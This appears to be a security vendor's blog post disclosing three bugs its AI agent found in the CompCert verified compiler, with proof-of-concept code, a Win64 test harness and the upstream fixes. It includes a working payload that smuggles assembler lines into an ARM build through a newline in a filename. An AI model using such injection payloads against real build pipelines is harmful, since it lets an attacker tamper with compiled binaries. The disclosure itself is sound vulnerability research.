How We Found Three Bugs in a Compiler Proven Correct

How do you find bugs in a compiler that has been mathematically proven correct? You look at what the proof does not cover.

CompCert is one of the strongest examples of formal verification in real-world software. Its core compilation process has been mathematically proven to preserve a program’s behavior. In 2026, it was even qualified for use in a computer deployed on ATR 42/72 aircraft.

In short, Apex, Cantina’s agentic OffSec engineer, found and reproduced three bugs in CompCert. One could corrupt registers that another program expected to remain intact. Another could produce the wrong memory layout for a C program. A third could turn a malicious filename into injected assembly code.

None of these bugs disproved CompCert’s correctness theorem. The proof did exactly what it claimed. The bugs appeared in the surrounding components and assumptions that the proof did not cover.

Findings at a glance

#	Where it lives	The bug	Status
1	Target model / Win64 backend	XMM6/XMM7 clobbered; XMM8-XMM15 saved at only 64-bit width	Latest release affected; classifier change merged on master (PR #584); full-width preservation still open at checked master
2	C front end / elaborator	A tag binding from an initializer is dropped, giving the wrong struct layout	Latest release affected; fix merged on master (commit 0375c18…, 3 Jul 2026)
3	Output encoding / ARM printer	A newline in a filename escapes the banner comment and injects assembler	Latest release affected; fixes merged on master (PR #586, PR #588)

A CompCert-generated Win64 function returned the right scalar result, 1460.0. It also came back with XMM6 overwritten and the upper 64 bits of XMM8 cleared. The arithmetic was right. The caller’s state was not. That ABI violation was one of three failures Cantina’s Apex agent found and reproduced at the edges of CompCert’s verified core:

• the Win64 backend could clobber XMM6 and XMM7, and saved XMM8-XMM15 at only 64-bit width;
• the C elaborator discarded a tag binding introduced inside an initializer, producing the wrong struct layout;
• the ARM assembly printer allowed a newline in a filename to escape a diagnostic comment and inject assembler.

CompCert is an optimizing C compiler for high-assurance software. Its core compilation passes are specified and proved correct in Rocq, the proof assistant formerly known as Coq. Rocq’s kernel checks the proof terms mechanically, so the correctness claim does not rest only on testing a collection of source programs and comparing their outputs.

CompCert is also used outside research. In March 2026, it was qualified for the MFC_NG computer used in ATR 42/72 aircraft, allowing certification credit under DO-178C, DO-333, and DO-330. That setting makes compiler defects expensive: deployed code is difficult to change, and a defect can invalidate assurance established at the source level.

For each finding, Apex traced the relevant invariants across Rocq and OCaml. It generated a PoC and build harness, compiled and ran it, inspected the resulting assembly or object file, and reviewed the upstream changes and remaining open issue.

We validated the findings against CompCert commit 0ef26dad76446c803da02d7368eb4f9d074c1401. We checked the upstream changes against master at eeeb0aa3463efb95c34aca82026cd9b9febd9bc7 on 17 July 2026. Those changes were not yet included in the latest release checked for this article.

What CompCert proves

The whole-compiler theorem in driver/Compiler.v makes that claim precise:

Theorem transf_c_program_correct:
  forall p tp,
  transf_c_program p = OK tp ->
  backward_simulation (Csem.semantics p) (Asm.semantics tp).

Write Beh_L(x) for the observable behaviors of program x under semantics L. The behavior-level result is then:

For every bt ∈ Beh_Asm(tp), there exists bs ∈ Beh_C(p) such that behavior_improves(bs, bt). Every observable behavior of the generated Asm program must be matched by a behavior allowed by the source semantics, modulo CompCert’s formal behavior-improvement relation. The theorem covers two formal objects: p, a CompCert C AST, and tp, an Asm AST. The deployed toolchain extends beyond those two objects:

                         scope of the proved compiler relation
                    ┌─────────────────────────────────────────┐
C source text ─────▶│ C AST p ── verified passes ──▶ Asm tp  │─────▶ machine program
      │             └────────────────────┬────────────────────┘              │
      │                                  │                                   │
 parse / elaborate                 target model                       print / assemble / link
   Finding 2                         Finding 1                             Finding 3
   wrong AST                   missing ABI state                    injected assembly text

The front end must build the intended p. The target semantics must model the architectural and ABI state that external callers rely on. The printer, assembler, and linker must preserve tp when they produce the machine program. We found no counterexample to the theorem itself. The failures were in the contracts around it.

1. Win64 XMM state was wider than the model

Impact

On the supported 64-bit Cygwin configuration, a CompCert-generated function could return the correct scalar result and still corrupt the caller’s nonvolatile XMM state. The allocator could use XMM6 and XMM7 without arranging to preserve them. It could save and restore XMM8-XMM15 through 8-byte slots, which discarded their upper 64 bits. A caller that relies on the Microsoft x64 ABI can observe the corruption even when the callee returns the right scalar result.

The allocation pool and save classifier disagreed

The allocator’s fallback register pool and the backend’s callee-save classifier were supposed to describe the same calling convention. They disagreed on two registers. The comments in the excerpts below are annotations added for this post. The Archi.win64 definition selects Win64 behavior for 64-bit Cygwin. In x86/Conventions1.v, the fallback pool listed X6 through X15:

Definition float_callee_save_regs :=
  if Archi.ptr64 && Archi.win64
  then X6 :: X7 :: X8 :: X9 :: X10 :: X11 :: X12 :: X13 :: X14 :: X15 :: nil
       (* [1] The allocator may select X6 through X15. *)
  else nil.

The classifier excluded X6 and X7:

| X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => false
  (* [2] X6 and X7 are not treated as callee-save. *)
| X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64

Every register offered through float_callee_save_regs must be recognized by is_callee_save. Under Win64, X6 and X7 broke that invariant. After XMM0-XMM5 ran out, the allocator could select either register, and the prologue and epilogue then left its incoming value unpreserved. The Microsoft x64 register table classifies XMM6-XMM15 as nonvolatile.

Saved XMM values were only 64 bits wide

That mismatch accounts for the complete clobber of XMM6 and XMM7, but it does not explain why XMM8 retained its low half and lost its high half. Tracing the save path from machine-register typing through frame layout, stack operations, x86 lowering, and the formal instruction semantics showed where the second problem entered. x86/Machregs.v gave every XMM register the type Tany64:

| X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => Tany64
| X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Tany64
  (* [1] Every XMM machine register has an abstract width of 64 bits. *)

The callee-save frame derives its slot size from that type:

let ty := mreg_type r in
let sz := AST.typesize ty in
let ofs1 := align ofs sz in
Msetstack r (Ptrofs.repr ofs1) ty :: ...
(* [2] Tany64 therefore allocates and moves eight bytes. *)

The x86 lowering and Asm semantics keep that width:

| Pmovsd_fm_a rd a =>
    exec_load Many64 m a rs rd
| Pmovsd_mf_a a r1 =>
    exec_store Many64 m a rs r1 nil
(* [3] The formal load and store chunk remains Many64. *)

The printer therefore emits scalar movsd instructions. Each save stores only the low 64 bits, and a memory-to-XMM scalar load restores those bits while clearing the upper half. The external ABI requires:

CompCert’s Rocq model does not contain a physical 128-bit XMM object with separately addressable high and low halves. It maps each modeled register to one abstract val. Formally, the vulnerable backend preserved one such abstract value for XMM8-XMM15, while XMM6 and XMM7 had no callee-save obligation. When the abstraction was lowered to real instructions, the emitted code had this physical effect: Those bit slices describe the machine-level consequence of the abstraction, not literal objects in the Rocq register model. The proof can preserve the modeled abstract values without proving preservation of the full physical state that a Win64 caller requires.

Reproduction

To force the allocator into its fallback pool, Apex used a floating-point-heavy victim:

__attribute__((noinline))
double victim(double a, double b, double c, double d,
              double e, double f, double g, double h,
              double i, double j, double k, double l,
              double m, double n, double o, double p) {
  volatile double t0 = a + b;
  volatile double t1 = c + d;
  volatile double t2 = e + f;
  volatile double t3 = g + h;
  volatile double t4 = i + j;
  volatile double t5 = k + l;
  volatile double t6 = m + n;
  volatile double t7 = o + p;
  return t0 * t1 + t2 * t3 + t4 * t5 + t6 * t7;
}

The generated prologue contains the relevant pattern:

movsd   %xmm8, 40(%rsp)
movsd   %xmm9, 48(%rsp)
movsd   %xmm10, 56(%rsp)
...
movsd   56(%rax), %xmm7
movsd   48(%rax), %xmm6
...
movsd   40(%rsp), %xmm8
movsd   48(%rsp), %xmm9

The Win64 caller seeded XMM6 and XMM8 with distinct 128-bit values, invoked victim, saved both registers, and exited nonzero if either value changed or the scalar result differed from 1460.0. Apex compiled the victim with CompCert under system=cygwin, linked the caller with x86_64-w64-mingw32-gcc, and ran the executable under Wine. The harness reported:

xmm6 before = 0x99aabbccddeeff001122334455667788
xmm6 after  = 0x0000000000000000401c000000000000
xmm8 before = 0xfedcba98765432100123456789abcdef
xmm8 after  = 0x00000000000000000123456789abcdef
victim(...) returned 1460.0

XMM6 was replaced by a temporary. XMM8 kept its low 64 bits and lost its upper 64 bits. The scalar result was correct; the caller’s register state was not. The complete caller, driver, and build script are in Appendix A, so the reproduction does not depend on unpublished files.

Upstream status

PR #584, merged on 15 June 2026, fixed the classifier:

- | X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => false
- | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64
+ | X0 | X1 | X2 | X3 | X4 | X5 => false
+ | X6 | X7 | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64

This change is merged on master but was not included in the latest release checked for this article. It removes the unsaved XMM6/XMM7 case, but it does not change mreg_type, frame sizing, Pmovsd, or Many64. At the checked master revision, the full-width preservation issue remains.

2. The elaborator dropped a C tag binding

Impact

The C front end could build the wrong AST for a well-defined program. A tag declared inside an initializer’s type-name expression was visible according to C scope rules, but the elaborator discarded the updated environment before processing a later declaration. That declaration could resolve against an outer struct with a different layout. This is an ordinary miscompilation, with no CompCert-specific authorization feature involved. In the reproducer, the layout mismatch flips a branch that returns an authorization-like result.

The environment was returned, then discarded

Tracing the environment returned by TYPE_SIZEOF leads directly into the initializer path. The expression elaborator propagated env' correctly:

| TYPE_SIZEOF (spec, dcl) ->
    let (ty, env') = elab_type loc env spec dcl in
    if wrap incomplete_type loc env' ty then
      fatal_error "invalid application of 'sizeof' to an incomplete type %a"
                  (print_typ env) ty;
    { edesc = ESizeof ty; etyp = TInt(size_t_ikind(), []) }, env'
    (* [1] The new tag binding leaves this function in env'. *)

The single-expression initializer then discarded that environment:

| SINGLE_INIT a, _ ->
    let a',_ = !elab_expr_f loc env a in
           (* [2] The returned environment is discarded here. *)
    elab_single zi a' il

Later, enter_decdef started again from env1:

let (ty', init') = elab_initializer loc env1 s ty init in
let env2 = Env.add_ident env1 id sto' ty' in
                         (* [3] Later declarations inherit the stale scope. *)

That discarded environment is the bug. Where elabExpr(a, Γ) = (a′, Γ′), initializer elaboration should return (i, Γ′), but the vulnerable path returns (i, Γ) instead.

The source program

Under C99 and C11, a structure, union, or enumeration tag comes into scope just after it appears in the type specifier. A tag defined inside a block therefore hides an outer tag with the same name for the rest of that block. The relevant rules appear in N1256 §6.2.1 and N1570 §6.2.1. The complete PoC is:

#include <stdio.h>

struct ACL { unsigned char allow; unsigned char pad[7]; };

int authorize(unsigned char attacker) {
  int anchor = sizeof(struct ACL { int allow; });
  (void)anchor;

  struct ACL acl = { .allow = attacker };

  printf("sizeof(acl)=%zu sizeof(acl.allow)=%zu\n",
         sizeof(acl), sizeof(acl.allow));

  if (sizeof(acl.allow) != sizeof(int))
    return attacker != 0;

  return 0;
}

int main(void) {
  printf("authorize(0)=%d\n", authorize(0));
  printf("authorize(1)=%d\n", authorize(1));
  return 0;
}

The sizeof expression introduces a block-scope struct ACL whose allow member has type int. The later declaration of acl must use that inner tag, so sizeof(acl.allow) == sizeof(int) regardless of the target’s concrete integer size. On the tested target, the inner structure was four bytes. CompCert instead used the stale file-scope definition, whose allow member was one byte and whose total size was eight bytes.

Reproduction

The same source was compiled and run with CompCert and GCC:

mkdir -p poc/initializer-tag-scope

./ccomp -stdlib runtime -O0 \
  poc/initializer-tag-scope/auth_bypass.c \
  -o poc/initializer-tag-scope/auth_bypass_compcert

./poc/initializer-tag-scope/auth_bypass_compcert

gcc -std=c99 -O0 \
  poc/initializer-tag-scope/auth_bypass.c \
  -o poc/initializer-tag-scope/auth_bypass_gcc

./poc/initializer-tag-scope/auth_bypass_gcc

CompCert produced:

sizeof(acl)=8 sizeof(acl.allow)=1
authorize(0)=0
sizeof(acl)=8 sizeof(acl.allow)=1
authorize(1)=1

GCC produced:

sizeof(acl)=4 sizeof(acl.allow)=4
authorize(0)=0
sizeof(acl)=4 sizeof(acl.allow)=4
authorize(1)=0

GCC is only a comparison here; the C scope rule is the basis for the expected result.

Upstream status

Commit 0375c1835c65bc801b61c6cab0a620368e7954d2, authored by Michael Schmidt and committed by Xavier Leroy on 3 July 2026, threads the environment through elab_list, elab_item, elab_single, compound initializers, and elab_initializer. enter_decdef now adds the declared identifier to the environment returned by initializer elaboration. The change is merged on master but was not included in the latest release checked for this article. The commit fixes the demonstrated SINGLE_INIT path and carries its updated environment through the enclosing initializer and back into enter_decdef. It does not by itself show that every possible initializer subexpression propagates tag bindings correctly.

3. A filename escaped an ARM assembly comment

Impact and precondition

CompCert’s ARM printer put the command line in a comment at the top of the generated assembly. The printer emitted the ARM comment marker once and copied each argument with raw %s, so a filename containing a newline could terminate the comment and inject assembler lines. The demonstrated impact is a modified object file. The injected text added a global symbol and branch instruction to the generated assembly, and the assembled object contained the injected symbol. Reaching injected code at runtime depends on the surrounding build and link pipeline. The exploit requires control over an argument passed to ccomp, such as a source filename; it does not require -finline-asm.

The vulnerable printer

The data flow runs from source filenames to Commandline.argv and then into backend/PrintAsmaux.ml. The raw sink is shared across target printers. ARM makes the bug visible because its @ comment ends at the newline:

fprintf oc "%s Command line:" comment;
for i = 1 to Array.length Commandline.argv - 1 do
  fprintf oc " %s" Commandline.argv.(i)
             (* [1] Raw argv text is emitted after one comment marker. *)
done;
fprintf oc "\n"

backend/PrintAsm.ml emits the banner before the target prologue. On ARM, Target.comment is @. A newline in an argument becomes a new physical assembly line. The filename suffix was:

victim
.text
.globl injected
injected:
  b injected
@.c

The final @.c resumes the comment before CompCert’s normal output. The inserted .text, symbol declaration, label, and branch are interpreted by the assembler instead of being treated as metadata.

Reproduction

The reproduction built an ARM-targeted compiler, created the newline-bearing source file, compiled it, assembled the output, and inspected the symbol table:

./configure arm-linux
make depend
make -j4 ccomp clightgen

mkdir -p poc/arm-banner-injection
malicious_base=$'victim\n.text\n.globl injected\ninjected:\n  b injected\n@.c'
cat > "poc/arm-banner-injection/$malicious_base" <<'EOF'
int main(void) { return 0; }
EOF

./ccomp -S \
  "poc/arm-banner-injection/$malicious_base" \
  -o poc/arm-banner-injection/poc-output.s

sed -n '1,18p' poc/arm-banner-injection/poc-output.s

clang --target=armv7-linux-gnueabihf -c \
  poc/arm-banner-injection/poc-output.s \
  -o poc/arm-banner-injection/poc-output.o

readelf -s poc/arm-banner-injection/poc-output.o \
  | grep -n ' injected$'

The output contained attacker-controlled assembly lines:

.text
.globl injected
injected:
  b injected

The assembler accepted the file, and the object contained a real global symbol:

7:     3: 00000000     0 NOTYPE  GLOBAL DEFAULT    2 injected

The symbol-table check shows that the injected text changed the object file. The .s excerpt shows the injected branch. This reproduction does not include a separate disassembly assertion for that instruction. The failure happens after the Asm AST has been produced, during output encoding. The injected instructions are absent from both the C source and the verified target AST.

Upstream status

PR #586, merged on 7 July 2026, added quote_argument:

- fprintf oc " %s" Commandline.argv.(i)
+ fprintf oc " %s" (quote_argument Commandline.argv.(i))

The function renders an embedded newline as the visible two-character sequence \n, so it cannot terminate the comment. PR #586 addresses that newline path. PR #588, merged on 14 July 2026, added follow-up hardening: shared assembler-compatible string encoding for .file directives, DWARF .asciz strings, target printers, and command-line quoting. Both changes are merged on master but were not included in the latest release checked for this article.

Appendix A: Complete Win64 reproduction harness

These files make the Finding 1 reproduction complete. The assembly harness covers the normal call-and-return path. It does not provide Windows exception-unwind metadata, so it should not be treated as a generally unwind-safe routine. run_probe.S

    .text
    .globl run_probe
run_probe:
    pushq   %rbx
    subq    $160, %rsp
    movq    %rcx, %rbx

    movdqu  %xmm6, 128(%rsp)
    movdqu  %xmm8, 144(%rsp)

    leaq    pattern_xmm6(%rip), %r10
    movdqa  (%r10), %xmm6
    leaq    pattern_xmm8(%rip), %r10
    movdqa  (%r10), %xmm8

    movdqu  %xmm6, 0(%rbx)
    movdqu  %xmm8, 32(%rbx)

    leaq    double_args(%rip), %r10
    movsd   0(%r10), %xmm0
    movsd   8(%r10), %xmm1
    movsd   16(%r10), %xmm2
    movsd   24(%r10), %xmm3

    movq    32(%r10), %rax
    movq    %rax, 32(%rsp)
    movq    40(%r10), %rax
    movq    %rax, 40(%rsp)
    movq    48(%r10), %rax
    movq    %rax, 48(%rsp)
    movq    56(%r10), %rax
    movq    %rax, 56(%rsp)
    movq    64(%r10), %rax
    movq    %rax, 64(%rsp)
    movq    72(%r10), %rax
    movq    %rax, 72(%rsp)
    movq    80(%r10), %rax
    movq    %rax, 80(%rsp)
    movq    88(%r10), %rax
    movq    %rax, 88(%rsp)
    movq    96(%r10), %rax
    movq    %rax, 96(%rsp)
    movq    104(%r10), %rax
    movq    %rax, 104(%rsp)
    movq    112(%r10), %rax
    movq    %rax, 112(%rsp)
    movq    120(%r10), %rax
    movq    %rax, 120(%rsp)

    call    victim

    movdqu  %xmm6, 16(%rbx)
    movdqu  %xmm8, 48(%rbx)
    movsd   %xmm0, 64(%rbx)

    movdqu  128(%rsp), %xmm6
    movdqu  144(%rsp), %xmm8

    addq    $160, %rsp
    popq    %rbx
    ret

    .section .rdata,"dr"
    .balign 16
pattern_xmm6:
    .quad   0x1122334455667788
    .quad   0x99aabbccddeeff00

    .balign 16
pattern_xmm8:
    .quad   0x0123456789abcdef
    .quad   0xfedcba9876543210

double_args:
    .quad   0x3ff0000000000000
    .quad   0x4000000000000000
    .quad   0x4008000000000000
    .quad   0x4010000000000000
    .quad   0x4014000000000000
    .quad   0x4018000000000000
    .quad   0x401c000000000000
    .quad   0x4020000000000000
    .quad   0x4022000000000000
    .quad   0x4024000000000000
    .quad   0x4026000000000000
    .quad   0x4028000000000000
    .quad   0x402a000000000000
    .quad   0x402c000000000000
    .quad   0x402e000000000000
    .quad   0x4030000000000000

main.c

#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>

struct probe_results {
  uint64_t xmm6_before[2];
  uint64_t xmm6_after[2];
  uint64_t xmm8_before[2];
  uint64_t xmm8_after[2];
  double victim_result;
};

extern void run_probe(struct probe_results *out);

static void print_reg(const char *name, const uint64_t reg[2]) {
  printf("%s = 0x%016" PRIx64 "%016" PRIx64 "\n",
         name, reg[1], reg[0]);
}

int main(void) {
  struct probe_results out = {{0}};
  int failed = 0;

  run_probe(&out);

  puts("Win64 nonvolatile XMM register preservation check");
  print_reg("xmm6 before", out.xmm6_before);
  print_reg("xmm6 after ", out.xmm6_after);
  print_reg("xmm8 before", out.xmm8_before);
  print_reg("xmm8 after ", out.xmm8_after);
  printf("victim(...) returned %.1f\n", out.victim_result);

  if (out.victim_result != 1460.0) {
    puts("FAIL: victim returned an unexpected scalar result.");
    failed = 1;
  }

  if (out.xmm6_before[0] != out.xmm6_after[0] ||
      out.xmm6_before[1] != out.xmm6_after[1]) {
    puts("FAIL: xmm6 was not preserved across the CompCert-generated call.");
    failed = 1;
  }

  if (out.xmm8_before[0] != out.xmm8_after[0] ||
      out.xmm8_before[1] != out.xmm8_after[1]) {
    puts("FAIL: xmm8 was not fully preserved across the CompCert-generated call.");
    failed = 1;
  }

  if (!failed)
    puts("PASS: no ABI corruption observed.");

  return failed;
}

build_and_run.sh

#!/usr/bin/env bash
set -euo pipefail

script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
compcert_root=${COMPCERT_ROOT:?set COMPCERT_ROOT to the CompCert checkout}
build_dir="${script_dir}/build"
ini_file="${build_dir}/cygwin.ini"
victim_asm="${build_dir}/victim.s"
exe_file="${build_dir}/win64_xmm_poc.exe"

mkdir -p "${build_dir}"
cp "${compcert_root}/compcert.ini" "${ini_file}"
sed -i 's/^system=.*/system=cygwin/' "${ini_file}"

"${compcert_root}/ccomp" -conf "${ini_file}" -S \
  "${script_dir}/victim.c" -o "${victim_asm}"

x86_64-w64-mingw32-gcc -O0 -c \
  "${victim_asm}" -o "${build_dir}/victim.o"
x86_64-w64-mingw32-gcc -O0 -c \
  "${script_dir}/run_probe.S" -o "${build_dir}/run_probe.o"
x86_64-w64-mingw32-gcc -O0 -c \
  "${script_dir}/main.c" -o "${build_dir}/main.o"
x86_64-w64-mingw32-gcc -O0 \
  "${build_dir}/main.o" \
  "${build_dir}/run_probe.o" \
  "${build_dir}/victim.o" \
  -o "${exe_file}"

WINEDEBUG=-all wine "${exe_file}"

Keep victim.c, run_probe.S, main.c, and build_and_run.sh in the same PoC directory. Build CompCert first so its checkout contains ccomp and compcert.ini. Install mingw-w64 and Wine, then run:

chmod +x build_and_run.sh
export COMPCERT_ROOT=/path/to/CompCert
./build_and_run.sh

Closing

Formal verification is still one of the best tools for building critical software. It is important for aircraft computers, compilers, firmware, and other low-level systems that might be used for decades. If a defect is found after release, it can require recertification, a physical recall, or an update path that may not even exist. A machine-checked proof can eliminate whole categories of errors before the software is released, offering stronger assurance than testing alone. A proof only covers the statement, model, and trusted foundation it is built on. Sometimes, the statement might leave out the property users actually need. The model might not include the real machine state. Steps like parsing, extraction, printing, assembling, or linking can change the program before or after the theorem applies. In rare cases, the logical assurance itself can be weakened by a bug in the proof assistant’s trusted kernel, another trusted part, an unjustified axiom, an admitted result, or an unchecked escape hatch. Regular tactics and automation bugs usually cannot do this because Rocq’s kernel checks the proof terms they create. These boundaries are easy to overlook because the surrounding software is mature and the proof itself inspires trust. None of these findings point to a flaw in Rocq or show that CompCert’s theorem is false. Instead, they highlight a gap between what the theorem says and what the actual toolchain needs to do. Trust the proof for the property it proves, but also review the assumptions, models, and unverified code that link it to the machine.

Get in touch

Apex is Cantina’s agentic OffSec engineer. For this scenario, it traced compiler invariants across Rocq and OCaml, built and ran the proof-of-concept harnesses shown above, inspected the assembly and object files, and confirmed each upstream fix. Apex is designed for deep, reproducible analysis on complex code, whether that’s low-level systems, compilers, or tools.

If you work on a codebase where correctness is important, we want to hear from you. Book a demo to see what Apex can find in your code.

Frequently asked questions

What is CompCert?

CompCert is an optimizing C compiler for high-assurance software. Its core compilation passes are specified and proved correct in the Rocq proof assistant (formerly Coq), whose kernel checks the proof terms mechanically. In March 2026 it was qualified for the MFC_NG computer in ATR 42/72 aircraft, allowing certification credit under DO-178C, DO-333, and DO-330.

Do these three bugs disprove CompCert’s correctness proof?

No. None of the findings contradicts the whole-compiler theorem in driver/Compiler.v, and none shows a flaw in Rocq. Each defect lives in an unverified contract around the proof: the front end that builds the AST, the target model that describes ABI state, and the assembly printer that encodes output.

What are the three CompCert bugs?

First, the Win64 backend could clobber XMM6/XMM7 and save XMM8-XMM15 at only 64-bit width, corrupting a caller’s nonvolatile XMM registers. Second, the C elaborator dropped a tag binding declared inside an initializer, producing the wrong struct layout. Third, a newline in a filename could escape the ARM banner comment and inject assembler.

Are the CompCert bugs fixed?

None of the three findings is fixed in the latest CompCert release checked for this article. Changes for the elaborator bug, ARM injection, and Win64 classifier are merged on master. The full-width XMM preservation issue was still open at the checked master revision on 17 July 2026.

Which CompCert version is affected?

The findings were validated against commit 0ef26dad76446c803da02d7368eb4f9d074c1401. The upstream changes were checked against master at eeeb0aa3463efb95c34aca82026cd9b9febd9bc7 on 17 July 2026; they were not yet in the latest release checked for this article.

Who found these bugs?

Cantina’s Apex agent found and reproduced all three. For each, Apex traced the relevant invariants across Rocq and OCaml, generated a PoC and build harness, compiled and ran it, inspected the resulting assembly or object file, and reviewed the upstream changes and remaining open issue.